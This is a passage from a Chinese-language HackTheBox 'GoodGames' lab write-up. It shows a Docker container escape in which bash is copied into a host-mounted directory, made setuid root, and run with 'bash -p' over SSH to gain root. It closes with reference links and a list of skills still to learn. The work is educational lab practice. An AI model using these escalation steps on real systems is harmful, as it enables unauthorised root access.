  3. 但你不能在docker中复制/bin/bash并在主机上运行,因为bash使用了不同的共享库。

这是Avinash kumar的方法,0xdf的方法也是有一样的,他对此有这样的解释,我就简单粗暴的直接截个图吧

也就是说从容器里面创建的文件为root权限,主机也同样会将其视为root权限,下面来进行操作

Docker逃逸的具体操作

/bin/bash复制到主机上augustus的主目录中

1
2
3
cp /bin/bash .
cd /home/augustus
ls -la

1
2
3
4
5
6
7
8
chown root:root bash
chmod 4777 bash
ls -l bash

ssh augustus@172.19.0.1 # superadministrator
ls -la
./bash -p
id

成功提权

总结

对于这个机器,学到了非常多的知识,扩展出来的一些问题通过AI的解答也都能得到很好的理解,学习方法有了进一步的提升,机器涉及到的漏洞测试方法以及对我而言陌生的SSTI,还有对于机器后续的权限提升同样都是我需要努力学习的知识

链接

HTB GoodGames Writeup | Aaron Haymore
GoodGames - HackTheBox
HTB: GoodGames | 0xdf hacks stuff
GoodGames | 7Rocky
HackTheBox — GoodGames. Hello everyone , in this post I will be… | by ARZ101 | Medium

欠缺的知识

  • sqlmap使用方法,使用场景,时间盲注手动测试方法
  • SSTI模板注入漏洞
  • docker逃逸,判断shell是否存在于docker的方法
  • 关于从mount结果判断用户是否从主机挂载的方法